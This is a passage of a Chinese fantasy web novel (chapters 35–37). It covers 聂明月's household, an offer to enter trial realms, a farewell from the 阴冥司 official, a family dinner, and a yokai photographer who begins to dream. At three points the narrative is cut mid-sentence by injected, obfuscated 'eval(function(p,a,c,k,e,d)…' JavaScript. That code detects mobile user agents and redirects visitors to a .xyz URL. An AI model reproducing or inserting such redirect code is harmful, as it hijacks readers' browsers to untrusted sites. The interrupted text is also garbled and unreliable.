马鹿子也凑上前,仔细打量一番,满是遗憾地说:“哎呀呀,这趟不值了!就是个血肉化石。普通妖吃了也没什么用,倒是凡人还能强身健体。” “越东陆家就把这东西当家族至宝,藏了几千年?”他摇着头:“不值!不值!” - 两越山中,越东陆家、越西计家,是自战国时期就有记载的巫傩大家族。计家擅长行云控雨、占卜问卦。陆家则以家族神狮为依仗,捉妖灭鬼。 现在越东地区还盛行神狮的传说,当地每逢祭祀,都有舞狮表演,意蕴借神狮之威驱邪避凶。 唐槐见狮心有异,沉吟道:“陆广兴应该不知道狮心已经有变化,否则不会不交代。狮魂被取走,应该是他到上海之后的事。”他看向陆靖鸣,目光中带着询问。 陆靖鸣听不懂大家的讨论,正在发呆,听到大哥的话,连忙说:“我回来后,每日都与祖父在一起,没有任何人来过……” “陆少爷,我们不是怀疑你。不过,让本道长为你把个脉?”马鹿子捋着下巴上的红胡子,一双三角眼雪亮。 陆靖鸣急于证明自己清白,将手搭在了桌面上。 片刻之后,马鹿子下了结论:“小友,你父亲约莫是个没有修炼成功的半妖,所以才看上了陆家的狮心。你身上有妖人血脉,大概是受陆家血脉压制,所以还未显现。但你的弟弟,自出生时,就被你父亲修过根骨,才会在婴儿时就有了异状……” “我叫你来,也是为此。”聂明月说。她与唐槐讨论过,陆靖鸣是那妖人之后,今后到底是以人的身份继续生活,还是在妖脉之上推他一把……在这个方面,马鹿子更为专业。他们也需要陆靖鸣自己来决定。 陆靖鸣面临着艰难抉择。传说中的妖,至少千年寿命,还有各种神通本事。可是他厌弃父亲害得陆家离散,还有杀母之仇,若要凭他的血脉成妖,岂不是成了父亲一样的妖邪? “不急。”唐槐安抚他:“有明月姐姐在,你什么时候想好了,再告诉她。”他已将陆靖鸣视为家人,会不遗余力地帮助他。 - 聂明月将碧绿珧贝置于桌上,推到皮天禄面前。 “你独子殒命,皮家绝后,这个予你……”她说得不多,但已让皮天禄明白了她的意思。 饶是皮天禄清楚,珧贝是聂明月代陆家给他的补偿,还是忍不住红了眼眶。 到了这个时候,他才不再掩饰本心,脸上的肌肉都激动地抖动着:“聂小姐,这份礼太过贵重,皮某想都不敢想……”他拿起珧贝,满怀感激:“聂小姐看出了皮某本相,在下也不掩藏了。皮某本是上古神兽之后,藏于世间数千年,从不敢作乱人间,攒够功德才有了一子……” 他的儿子在林州丧命,是他心中之痛。而这枚珧贝,可让他有了后人之后,再顺利修炼,摆脱妖怪身份……如今千年大妖难寻,灭大妖更需要付出难以承受的代价。 获赠蜃妖的珧贝,对他而言如同再造之恩。 “我皮天禄在此立誓,以后唯明堂为尊,听从聂小姐号令。我携滇西皮氏全族,叩谢聂小姐大恩!”他站起身来,整理衣襟,朝聂明月恭恭敬敬磕了个头。 马鹿子还待说些什么,见此情景,忍住了没说出口。 面对长生的诱惑,无论是人是妖,都无法拒绝。 35. 尘心灵境 人间行走指南: 【须知极乐神仙境,修炼多从苦处来。】 - 何为境? 世人常谈“境界”,以为不过是能力造诣之谓。殊不知,此说源自修士与妖灵破茧成蝶之象。能够“结境”者,皆为修为精深之辈,已臻天人合一之境。若论其修行,需历经千载寒暑,方能窥其门径。 如何成境? 境乃修士以毕生修为凝聚而成的独立洞天。此境脱离凡尘俗世,完全遵循主人心意。世人所说的“洞天福地”,便是大能修士的境界,内藏无尽灵气、天地奇珍与不传之秘法。诗曰:“前登灵境青霄绝,下视人间白日低。”修士在境中闭关百年,于凡间不过弹指一瞬;或于境中仅沧海一粟,世间已是千年。此中时空,尽随境中者能力而定。 何谓入境? 入境有三: 其一,结境者潜心修炼,游走于自身创造的洞天之中; 其二,天赋异禀之人,能够心有灵犀,一眼看破修士灵境,感同身受,甚至借此突破; 其三,修士或妖灵在飞升或坐化之际,常会留下自身道场。此举既为后路计,亦为传承谋。后人若有缘寻得境门,便可入境修行,获取造化。 如今天地灵气断绝,神仙不见,妖灵难觅。欲求长生,唯有寻境一途。此事玄之又玄,全凭天定因缘。陶渊明诗云“不疑灵境难闻见”,诚哉斯言!若有缘人,或可寻得一线天机。 “小友,你是半妖后人,已比凡人多了几分优势。但若想压制邪妖血脉,又想学到自保的法术,那就只能入境闯关了。成功者,可窥得门径;失败者,轻者重伤,重者殒命……”马鹿子侃侃而谈,为陆靖鸣详述了入境利弊。他在言语中加了自己的私心,一边装着高深模样,一边斜睨聂明月的反应,心中腹诽着:“你小子运气好,摊上这么个姐姐。有她带着你入境,实在是捡了大漏……” - 陆靖鸣陷入了长久的沉默。他对修炼之事极为陌生,除了今天的所闻所见,就只有曾看过报纸连载的蜀山剑侠的小说。他看似不语,心中却在极速地权衡着利弊。此时的选择,将会影响他的一生。 皮天禄虽然入境数次,但忆及他曾带着入境才培养出来的年轻后辈,都已在林州大战中死去,黯然感伤,重重叹了一口气。 就在马鹿子等得没有耐心、想要催促年轻人之际,才发现门口站着一名陌生老者,众人竟无人察觉到他是何时出现的。 还是唐槐反应最快,上前行了一礼:“阴冥司大人来访,有失远迎。” 阴冥司大人客气回礼:“打扰了。我本是来找聂小姐的,没想到马道长与皮老爷都在此处,但愿没有影响到你们。” 聂明月十分不给大人面子,眼皮子都懒得抬一下:“何事?” 她又见老者只笑着不说话,一副现在不方便的样子,无奈之下只好说:“走吧。” 两人自寻一处议事去了。 - 皮天禄从惊讶中回过神来,那是传说中从不露面的阴冥司长官!聂小姐果然非等闲之辈,与阴冥司还有交情,看起来还甚是熟稔。 他暗叹自己果然是有福气的,此次攀上了聂明月这棵大树,皮家马上就要不一样了! 马鹿子吓得不轻。他身份隐藏得极好,三界之中,除了阴冥司外,无人可知他的来历与多年作为。没想到聂明月有阴冥司的路子,那他这些年还装甚?聂明月估计一直在暗中取笑他吧! 他想到这里,郁卒之色挂上了脸,仔细回想历年犯下的糊涂事,好像还没有太过分的:“不行,聂明月这棵大树靠不住,我得想办法早点脱身……” 唐槐则为陆靖鸣简单解释老者的身份。阴冥司在妖怪与修士中,有着近乎神的权力与能力,又为他打开了另一扇新世界的大门。 “如果那位大人管妖魂阴鬼,是不是可以直接找到我母亲和爷爷的魂魄,问个详细?”他想到了一种可能。 唐槐摇摇头:“我所知的阴冥司,只管有大功德或者罪恶的亡魂。正常死亡的人类与妖怪,是自然入轮回的,与他们无关。” 陆靖鸣把这番话记在了心里:“大哥,我想好了。不管以后我是否会成为一名妖修,但我现在要做的,是先学会自保的能力。” 唐槐闻言大慰,他一直担心陆靖鸣在象牙塔内,无法面对现实。能说出这样的话,证明幼弟是真正地长大了。 - 聂明月与老者站在院内。此时已近八月底,院中一棵高大的槐树还开着花,细若碎金的花瓣洒了一地,散发着淡淡的香气。 “聂小姐,我五百年任期快到了。在卸任之前,有几件事想与您交代托付。”老者朝聂明月先施了个礼。 聂明月与他并没有真正的过节,在某种程度上,他还是聂明月在修行中,第一位真正带她入门的人。 她不擅长用言辞或表情来表达想法,只得淡淡说:“但说无妨。” 老者知道这态度表明,她愿意接受他接下来的托付,笑得极为开怀:“第一件事,阴冥司的新长官是我的徒儿。无论是为人还是能力,我先为他做个担保,聂小姐日后与他有什么交集,可以完全信任。” 这是小事,她自然没有异议。 “第二件事,我不是有意窥探,但当世之事,凡影响因果者,都须过我的耳目。这几十年来,人间战乱纷起,妖鬼无处藏身,也无暇作乱,阴冥司也因此清静不少。我得知聂小姐许了马鹿子可入你明堂修炼。这是聂小姐自己的判断,在下无权过问。但须得提醒你,明堂是世间仅有的神罚之地,也是你能力的归属所在。妖修入明堂,类同在上古时期的修炼,你得控制好可涉及的范围。若聂小姐日后还许下别人入明堂,切记只可在山内,不能进入内殿。毕竟……”他沉思几息,终于说了出来—— “聂小姐,你以后行事,可想及阴冥司的准则——即便你就是规则,但无权干涉他人因果。” “明堂内殿是你的秘密。而天下也没有谁,能承受得住如你一般的炼筋洗魂之压力,会导致对方……神魂俱灭。” 聂明月点头。这是来自长者的叮嘱,与当年将军不让她涉及人间战事成败的用意一致,她应下了。 “第三件事,却是和你我都有关的了。聂小姐一直在追寻自己的来历,在下虽顺应天意,行走人冥两界,却无法看清聂小姐从何处来。想必那无法窥探之处,与你来处有关。为此,我翻查记载,找到一个山海大阵。若此阵成,聂小姐或许可以自身结境,再去探寻。”他为聂明月提出建议,也是作为对她行走人间的回报。 “山海阵要结阵,需要法宝‘锁沧海’辅助。这法宝是越西计家秘宝。在下多年前的一次失误,导致雨师家族险些断了传承……”他表情恳切:“若聂小姐要取锁沧海,请予在下一丝薄面,善待计家后人。我也将结阵与法宝操控之法,详细写在上面了……”他从袖中拿出一方白绢,递给聂明月。 - 聂明月接过白绢,看向他的眼中闪过疑问:“你卸任后,会去哪里?” 老者感念她的关心,坦言道:“在下不知。阴冥司五百年方有一任新掌司。即便我勘破世间一切,于天道法则却只能遵循,不敢妄加质疑。阴冥司因何而存在、在下从何处来、又将去哪里,和聂小姐一样,我均不知……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14369228|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“而聂小姐你不同。你比我更有勇气和能力。私心上,我希望聂小姐能找到答案。也许,那也是我想要寻到的答案……” 话尽于此,他长吁出一口气。抬头看向那棵槐树,又看向眼前的女子。她正在专注记下他的话,几粒槐花落于她的发间,竟没有察觉。 她极好,比他以为得还要好,幸好这一世她先遇到了聂将军,才有如今的她。 他行了个告辞礼,不等她再说什么,背手信步离开。 “这一世,你们会成功吗?”他隐住心中的疑问,带着无比的眷恋,消失在人间…… - “什么?要我带大家闯境?”马鹿子嗖一下站起来,看向聂明月,一脸不可置信。 聂明月不理会他的一惊一乍,将一页手札置于桌上:“都在上面。你带皮家子弟、陆靖鸣,即日出发。” “哎哟我的大小姐,你可给我安排了个苦差事!”马鹿子愁眉苦脸。凭他的修为,在当世千年内的小境中,不会有任何增益。还要带着小辈们闯境,无疑是去帮聂明月带孩子了。 “三个境,可换明堂一日。”她指向那页,正是她当年因在太行山中妖毒,突破修为后回去清理妖邪的记录。三个灭妖地点,均在其上,上面详细写明了境内地形、妖兽属性、难度与秘宝存放之处。 皮天禄则两眼发光,这页手札太过珍贵,若按照标注一一入境,必是新手修士最佳修炼途径。这一次,他也得去! 马鹿子听到聂明月的条件,咬牙应下:明堂修炼一日,胜过世间千年打坐!他又想到先前的差事,小声问:“那北港城……” “三年时间,我回北港。”她估算三年之后,新修士们都会有所成就,陆靖鸣也能学到自保的本事。 “我明日就回滇西,带人来京城与马道长会合!”皮天禄此刻就坐不住了。 - 接下来的时间里,唐槐按照马鹿子列下的清单,在京津一带四处采购。 马鹿子则在聂明月的安排(凝视)下,耐心教陆靖鸣基础修炼入门。 第十天,唐槐与马鹿子商议出了山海阵的结阵法门,最终选定北港最北边那处盐碱滩。两人画出了极为复杂的图纸,计算着要完成大阵,所需要的时间与成本。 半个月后正逢中秋,唐槐一大早就安排下人准备家宴。府中因为节日的到来,变得热闹起来。 下午,聂明月坐在院中无事可做,晒太阳发着呆。 唐槐从院中路过,笑着替姐姐拂去头上的黄色槐花粒。 正在书房看书的陆靖鸣看着窗外,那二人正立于槐花树下,明明是姐弟,此时却犹如一对兄妹。 明月阿姐是永远不会老去的。而他,也将如唐槐大哥一般,随着时间流逝,离明月阿姐越来越远…… 那一刻,长生,在陆靖鸣心中,不再是需要抉择的事。 大哥是凡人,终会离开这个世间。他只要有足够的耐心等待,就能成为唯一陪着阿姐的那个人。 - 陆靖鸣铺开画纸,飞快地勾勒出浅浅轮廓,灵动的笔触舞动,槐树下的一对男女,渐渐现于纸面…… 年轻男子心中那不可言说的隐秘期望,被尽诉于画间。 最后,他才细描画中男子,那是一张分明有着唐槐的五官,却神似二十五岁的陆靖鸣的脸…… - 中秋家宴后,皮天禄携皮家子弟十五人到达京城。 一日后,众人出发前往太行山。唐槐前往越西,探访雨师家族计家后人踪迹。 两日后,聂明月坐上回北港的京奉列车,遇到了找上门来的新任阴冥司大人——关临渊。 36. 一场家宴 人间行走指南: 【人间烟火气,最抚凡人心。】 - 阿金在明月山庄门口碰到了尤远志。 丽娘昨天就说了,今天聂小姐从秦川回来,之前大家都忙,没时间欢迎她的归来。她叮嘱阿金下午五点到一号公馆参加一场家宴。 “你别只顾着自己的小家,也分点时间给娘家人呀。”孟夏补充道。 几百年了,阿金习惯叫“丽娘”和“聂小姐”,总是改不过来口叫她们的名字。 第一次到聂小姐家做客,阿金手里提着两箱草莓。 她记得聂小姐是爱吃水果的。五十年后的草莓,比以前更大更甜,应该能合她心意。 没想到刚到小区门口,就遇到这个动不动喊打喊杀的小道士,把阿金吓了一跳,离他远远地站着,不敢上前。 接班的门岗给一号公馆打了电话,说有访客,随后将两人请了进来。 - 尤远志这些天在孟夏的耳提面命之下,长进了不少,知道了不是所有妖都会作乱,也有正邪之分。 比如阿金,就是一个不曾作恶的小妖。 而且,她还是聂小姐的家人。 今天下午,孟夏叫他先回去上班,下班了来一号公馆吃饭,说是为聂小姐接风的“家宴”。 “家宴?”他从未有过家人,二十一年来,只与师父两人在山中生活。 家宴应该是家里人一起吃饭吧? 他哪里有资格,去参加聂小姐的家宴? “你是马鹿子徒弟,就是我的晚辈。在我眼里,你和唐槐是一样的。你初来乍到,正好借这个机会,和大家熟悉一下。”孟夏说。 初次做客的他不懂人情往来,现在看到阿金是提着礼物的,自己却只是路过望南街帮忙锁公司门时,看到了聂明月订的外卖,于是将那六杯奶茶带了过来…… 既不是他花钱买的,也不是像样的礼物……想到这里,他更紧张了。 - 尤远志虽然对阿金不再有杀意,但多年根深蒂固的认知,此时他也不知道该如何与她交流,只得默默走在她的前面。 计九崖开门的时候,就看到两人面无表情的脸上,均写着两个大字:不熟。 系着围裙的孟夏听到门铃声,从厨房走出来:“来了呀,快进来,十分钟后开饭!” 她接过阿金的水果箱子,招呼着说:“小草,你找唐槐去,顺便陪香香玩。阿金,你来厨房搭把手。你早来会儿多好,要说做菜啊,还得是你的手艺……” 尤远志看到客厅内坐着的几人,局促地说:“聂小姐……这个……” - 两位客人的到来,打断了聂明月与陆靖鸣的“叙旧”。众人看向尤远志提来的六杯奶茶,均愣了一下。 聂明月笑着说:“这是我订的奶茶,订少了,那就……”她看看陆靖鸣,又看看计九崖:“女士们喝吧!” 她没想到孟夏邀请了两人来吃饭。这又是孟夏为她的归来准备的惊喜之一。 孟夏多年来致力于让聂明月感受人间烟火,在这件事上,她乐此不疲。 聂明月的上一场家宴,还是百年前的那个中秋节。她看着在场的人,除了她与陆靖鸣,都不是当年的人了。 但马鹿子的徒弟尤远志在,皮天禄的女儿皮千秋在。这一世的唐槐在,孟夏阿金在…… 她收下了孟夏的心意,对计九崖说:“既然要聚餐,那就麻烦你走一趟,把陈丽华邀请过来吧。她一个人住着,也让她来热闹下。” 陈丽华从秦川回来后也有一天了,算起来应该已经休整好了。 计九崖应下,出门去陈丽华家。两栋房子不远,几分钟就能到。 - 陆靖鸣没想到今天还能在阿姐家吃饭,喜悦大过了惊讶。他冲着皮千秋轻轻点头,眼神中含着提醒。 皮千秋此时正是极为心虚的,幸好有人来了,她松了一口气。 还要吃饭啊……皮小姐极为头疼,不情愿地接过尤远志递来的奶茶:哼,是不是针对我?凉的! 陈丽华第二次来一号公馆,与上次又不一样了。这是一号公馆有史以来人最多的一天。计九崖为她一一介绍,她虽都不认识,但作为在场看起来年纪最大的长辈,她的到来,让大家有了不一样的感受,仿佛这真是一个家族的聚会:厨房在忙碌着,孩子在跑动着,年轻人们聚在一起聊天,长辈们忙着寒暄,场面热闹无比…… 香香已经被奶茶哄好了,小朋友长得极为可爱,像个洋娃娃。她刚被唐槐抓住,抱着坐上了餐椅。此时正睁着圆圆的眼睛好奇地打量着众人。 孟夏和阿金陆续端出来精心制作的菜肴,十人围着餐桌坐定,正好凑了一桌。 - 今日主题是为聂明月接风洗尘,孟夏做了她家乡的笋干烤肉和咸齑黄鱼汤,还有七八道海泽本地的海鲜与时蔬小菜,桌面被铺得满满当当。 笋干的清香和肉的油脂香在餐厅快速蔓延,冒着热气的奶白色鱼汤鲜洁诱人。 有老友,有佳肴,自然少不了酒。聂明月取来包,拿出山神送的猴儿酒,示意计九崖与陆靖鸣自便。 她将果干也拿出来,又抓到了一把石头。 “我还有小礼物送给大家呢。”她把紫色小石头分给众人。在场的人大多是懂行的,拿到手就知道是好东西,这份出差归来的伴手礼太好了。 到陈丽华时,她说:“陈总,芘石可聚灵气,你带在身边,有好处。”说罢将剩下的三块石头放到陈丽华手心。 陈丽华已经感受到了芘石的浓郁香甜气息,心知此物不凡,笑着收下了。 - “那我们就——举杯吧!”孟夏端起奶茶,站了起来:“欢迎明月回家!” 大家纷纷举杯碰盏。香香碰完杯,吸了一大口,正好吃到了软糯的红糖小珍珠,眯起了眼。 “看,香香和姐姐一样,都爱吃甜的。”孟夏说着打趣的话,有意拉近两人稍显生硬的关系。 大家边吃菜边问起聂明月秦川之行。聂明月挑着能说的几件事,简单讲了一下。 - 唐槐明天就要走了,他拿着手机先拍菜,又逐一对着众人的笑脸狂按拍摄键,最后来了一张大合影。 他把孟夏、聂明月、阿金、尤远志、计九崖拉到一个群里,群名也没逃过“相亲相爱一家人”的命运。 照片一张张发出来,众人手机新消息不断。 聂明月把照片发到了朋友圈,其中还有一张,是在孟夏的教学下,举着奶茶的自拍照。 “终于回家啦!奶茶真好喝!”第一条朋友圈,九宫格根本放不完她想分享的心情。 她发送完毕就放下手机,把秦川果干的盘子从香香面前拿走。 “你少吃零食,多吃点菜!”聂明月给香香夹菜。 香香嘴里塞满果干,鼓着腮帮子,瞪着姐姐将她的碗堆成小山。 - 饭桌上,定下了几件事。 唐槐明日回京城认真准备毕业答辩,学业结束后,六月底回海泽上班。小唐总想起毕业的事,又想起即将要朝九晚五坐班了,苦着一张脸,引得众人大笑。 尤远志继续他的工作,但聂明月见过他画符寻孟夏的本事,会安排杂志社单独为他发工资做兼职顾问。送外卖,只是他体验都市生活的一个渠道。尤远志一听还多了个兼职收入,不用再为生计苦,心中的忐忑与尴尬挥散而去,终于露出笑脸来。 香香的身份证明,需要孟夏去解决。“另外,她这个年龄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14385343|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,是不是该上学了?”聂明月问。 “先上学前班吧,幼小衔接,养成学习习惯,九月份可以去读一年级了。”阿金在这件事上最有发言权。香香一愣,上学啊,听起来不是很麻烦,那就上吧。 陈丽华要投资龙洞村项目,也要结聂明月出差办事的费用。她现在已经无事可扰,极为喜欢聂明月这一大家子人,直接将家业全部托付给了孟夏。 “孟小姐,我操心担忧了一辈子,现在才有心思享受人生。你只要给我留够养老的费用,其他的,都由你来安排。”她的产业庞大,这份厚重的托付,让孟夏十分意外。 陈丽华又说道:“唐青山留给唐槐的财产,不是刚交接完毕吗?正好你熟悉流程,我明天让律师与你对接,拜托你啦。” “镇海寺的后续,你来做。”聂明月对陆靖鸣说。皮千秋将镇海寺的人打了,石像也毁了,身为她的干爹,这口锅得陆靖鸣来背。 陆靖鸣大喜:“好的阿姐,我一定安排妥当。” 皮千秋知道今日之事,就算是彻底了结了。心情一好,看众人也顺眼起来。 她不小心看到唐槐,唐槐正在偷偷打量她,她瞪了他一眼,把唐槐吓一跳,连忙给计九崖倒酒掩饰慌乱。 - “过几天,海泽会来秦川的两个年轻人,孟夏你就按照流程接待吧。我也会同你们一样,每天去上班。”她回来已有五天,终于有时间来整理接下来要做的事情。 孟夏吐槽:“别啊,我都不想去上班,偶尔还翘班摸鱼。你天天去,我不也得去啦!”她头疼,谁想上班啊!今天是周末,又被安排了一堆事呢。 在场这些人,上过班的没几个,实在不懂她的困扰。 哎。孟夏扶额。 - “眼下最重要的事,是孙栖到了海泽。”她示意唐槐拿出那张照片。 “我不确定,他是不是你的弟弟。但是这条线索指向了他,他明显是冲着陈总来的,这件事,你参与吗?”聂明月问陆靖鸣。 陆靖鸣看着照片上戴眼镜的男人,从他的脸上,他看到了与自己相似的五官。这就是……他那个从未谋面的弟弟? 他当下做了决定:“阿姐,孙栖的事交给我来查。如计先生所说,如果父亲真想做业秤,那母亲的生魂、陆家的败落,都与他脱不了关系。我会从六十年前的知青来历开始查。”多年以来,终于有了那对父子的下落,这也是他没想到的收获。 聂明月并未将关临渊曾抓住他父亲妖魂的事说出来。阴冥司的事情,不方便由她来透露。 而且,她对陆靖鸣与皮天禄这些年的作为还存有疑虑,马鹿子为什么突然躲在岭南不出山,还有了尤远志这样特殊的徒弟……她心中疑团甚多,但只能日后自己去查。 “好,那你有需要我帮忙的地方,再叫我。”她对陆靖鸣说。 “三个月后,海泽就要结境了。这段时间,会有很多人到海泽来。要辛苦大家了!”她举起杯子,在这个场合中,按风俗是要先干为敬的吧,她犹豫了一下,像香香那样,吸了一大口。 大家纷纷举杯响应。只有香香留意到,聂明月吃到了小珍珠,甜得她眯起了眼…… - 晚上,客人们都各自归去。聂明月躺在床上,拿起手机,发现朋友圈多了几条新留言。 关临渊:猴儿酒!给我留点啊! 赶趟哥:妹子!等哥过两天回来,天天给你买奶茶! 季舟:关大人,家中还有一缸酒,下次见面我带给您。 彩衣:大人真美!大人的皮肤不需要滤镜!#羡慕 唐槐:太奶奶,等我回来! 孟夏:哎呀忘摘围裙了!破坏我这盛世美颜! 陆靖鸣:明月阿姐,欢迎回来。 37. 万事皆梦 人间行走指南: 【时是时,空是空,万事空时皆是梦。】 - 闻佳期是个神秘的女人。 孟想有这个念头的时候,突然觉得口渴。他把面前的红酒杯捏起来,杯内摇曳的深红色酒体丝滑如绸缎,在灯下透着绯色光泽。 来不及细品温度与香气,他一饮而尽,唇边残留着一抹红色的痕迹。 闻佳期正握着一瓶细长颈的甜白葡萄酒,跟身旁的酒保说着什么。 她有一双湿润的眼睛,若不经意看他,就像星光下的露珠闪烁。若偶尔低头垂目,浓密的睫羽从他的心尖轻轻拂过。 她优雅薄削的双肩与脖颈组成了优美的弧线,微卷的长发随着动作轻轻起伏,仿佛暖风拂过的湖面。 她手指纤细均匀,指甲饱满精致,涂着他叫不出来的颜色…… 从这样的手中接过酒杯,就像一场隐秘而盛大的仪式,在孟想的心中激起了千层浪。 - “两点了,你明天不上班吗?”店里客人走得差不多了,闻佳期终于留意到角落的年轻男人。她将最后一只酒杯放入洗碗机,走到他面前问道。 孟想平时就话不多,但此时他迫切想让自己能有话与她说。 刚才的酒后劲大,他仿若失去了思考的能力,只来得及说:“上班。” “孟想?我没记错你的名字吧。” 今天是她的酒馆开业第二天,这个男人已经来了两次。 - 她笑着举杯说:“今天有缘在我的酒馆一起喝酒,全场免单,交个朋友——感谢这场不期而遇,我叫闻佳期。” 第一晚的小型酒会上,她做了自我介绍,也邀请场中的客人们介绍自己。 一个人喝酒需要沉默;很多人在一起喝酒,是社交场合。 孟想觉得她很面熟,好像在很久以前,也有这样的一个夜晚,有个女人从他面前轻盈划过。 他抬头看向吧台酒牌灯最上面店名—— 绯藤。 这是他连续两晚来到这里的原因。 - “你还记得我?”孟想双手握住空酒杯,不敢抬头与她对视。 “因为你也记得我。”闻佳期的头发在夜灯下泛着深红色,“你是……杂志社的摄影师?”她记得他当时是这么说的。 孟想突然想起今晚的来意。杂志社几乎停摆,他无事可做,基本就早上去一趟,之后就在外面扫街。 他本是想来拍闻佳期的,但他此刻没有勇气提出邀约,连忙站起来背起摄影包,对闻佳期说:“……不好意思,影响你打烊了。我先走了……” 他走得太过匆忙,没有听到闻佳期的那句话: “那就祝你,今晚有梦……” - 四月的第二个周一,拥有本周最具活力的上午。 精神抖擞的聂明月,帮睡饱了的聂香香拿着小书包,送她来到小区旁边的幼儿园。 香香的头发不好打理,聂明月根本无法控制每一根发丝的正确走向,索性让她散着小卷毛出门了。 “我去幼儿园,你今天要做什么呢?”香香仰头问道。 “我也要去上班呀!”聂明月心情极好,将粉色小书包递给她,站在门口叮嘱:“跟小朋友好好玩,别欺负人。” 香香无奈,她对上学这件事原本就是有期待的。在镇海寺的那段时光里,时常有小朋友在石像上攀爬玩耍。她当时就想,有朝一日我要是化了形,也得这么玩一次! “那你来接我的时候,别忘了给我带好吃的。”她只是化形成了小孩,不知道为什么,性格也变得天真烂漫了。 还是孟夏说得对,“老小孩”都这样的。 - 计九崖在车旁等着她。孙栖的事交给了陆靖鸣,他其实可以不用守门岗了。或许是老年妆画上了瘾,他表示在杂志社也没有什么可以帮忙的地方,先继续当保安吧。 今日聂明月还有事要与他们商量,因此他送她上班。 聂明月似乎做好了计划,在车上问计九崖:“你觉得我去考个驾照怎么样?” “聂小姐想干什么都可以。下午我们可以去报驾校。”计九崖笑着说。他喜欢现在这样的状态,奔波百年,最后在海泽有了家和家人。 聂明月看向窗外—— 年轻人们背着包匆匆步入各栋写字楼; 小花园里,几位老人正在打太极拳; 一位母亲推着婴儿车,对着孩子温柔低语; 早餐摊前排起长队,老板掀开锅盖时腾起的热气氤氲在晨光中; 高楼、绿地、车流、红绿灯交织成城市的晨景; 一只橘猫悠闲地仰卧在路边的树下,毫无戒备地露出柔软的肚皮…… 此时的海泽市,春花灿烂,生机勃勃。城中的每一个空白都在努力填满着自己。 这是她于人间百年,真爱的风景。 - 望南街28号的周一,气氛有些诡异。 “孟夏,我做梦了!”孟想脸色惨白地冲进办公室,对着电脑前的孟夏喊道。 孟夏正在与陈丽华律师进行线上交流,听到这句话,大脑瞬间空白了两秒。 “什么?”她以为自己听错了。 “我做梦了!连续两个晚上!”孟想今天来上班时衣衫不整,上衣布满褶皱,身上还留着淡淡的酒气。 “是在湾区的一家新开业的酒馆,我喝了酒。周六晚上的梦很模糊,我以为是我想多了。”他嘴唇颤抖,满头大汗:“但是昨晚,不,是今天凌晨。我四点才到家,一睡着就……” 他从未做过梦,起初以为只是酒后断片产生的错觉。直到他翻看相机里的照片—— “我杀人了……”他捂着自己的脸,无声地啜泣着:“好像只是做梦,好像又不是人。是那个鱼嘴女人……”他语无伦次地说着。 正好聂明月和计九崖走进来,看到年轻男人坐在孟夏对面掩面哭泣,聂明月问:“什么鱼嘴?” 她就听到了后半句。 - 孟想名义上是孟夏的弟弟,其实是三十五年前,孟夏在曼哈顿中国城捡来的一只小妖。 孟夏在纽约定居很多年了,却是第一次来中国城。之前是怕遇到前夫的家人,听说后来他们家族在一次械斗中失势,举家搬去了旧金山。 她这次是来中国城见一位老朋友。 老友在唐人街开了一家香烛铺子,是孟夏最初在美国认识的好友。随着岁月流转,那位小巫女也变成了街坊口中的老神婆。 孟夏与她是不打不相识的交情,这次是回国之前,与她做个道别。 刚走到铺子所在的小巷子,就看到一个单薄瘦弱的年轻人,正在被几个华人孩子围堵着。年轻人缩在垃圾桶旁不出来,半大孩子嫌弃那处脏污,捡起散落的垃圾往他身上砸。 孟夏是个路见不平的性子,将少年们呵斥散去,正要离开,年轻人刚好抬头看向她,露出了一双白瞳。 她想起了一位故人,也有一双异瞳,就停下了脚步。 “你……是什么?”她问。 年轻人听到她的声音,立刻双手抱头,浑身瑟缩着,一句话也不说。 “你要是愿意,可以跟我走。”她叹了一口气,每个人的命运都是自己选择,她本不是个爱管闲事的人。 年轻人没有回应,她也不再多言,径直离去。 但当她从香烛铺子出来时,却在门口看到了他。他终究还是跟来了。 就这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14419825|149482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,孟夏回到海泽时,身边多了一个弟弟,她叫他孟想。 - 孟想不爱说话,一天也说不了几句话,这一点倒与当年的聂明月很像。 孟夏对他起了怜悯之心,见他连中文都不会说,先送他去上学,又在十年前安排他到杂志社上班,还给他买了一处住所。 对一只妖怪而言,能活成这般模样,也算是难得。 他喜欢摄影,专门去学了相关的课程。杂志社最忙的时候,他与白瑾瑜一同外出采风,发挥了很大的作用。于是,孟想成了杂志社的固定班底。 至于他究竟是什么妖怪,孟夏始终无从得知。他对自己的来历毫无认知,只说有记忆起就在纽约生活。明明一张华人面孔,却在海泽找不到归属感,整日漂泊游离,宛如一缕孤魂。 但这一次不同了。因为,他做梦了。 而妖怪,从不会做梦。 - 聂明月听完孟夏的讲述,将询问的目光投向了计九崖。 “我会做梦。”计九崖先说明,他并不是通过修炼成修士的,除了不会变老,本质上还是一个纯人类。 梦,究竟是什么? 庄周梦蝶,南柯一梦。 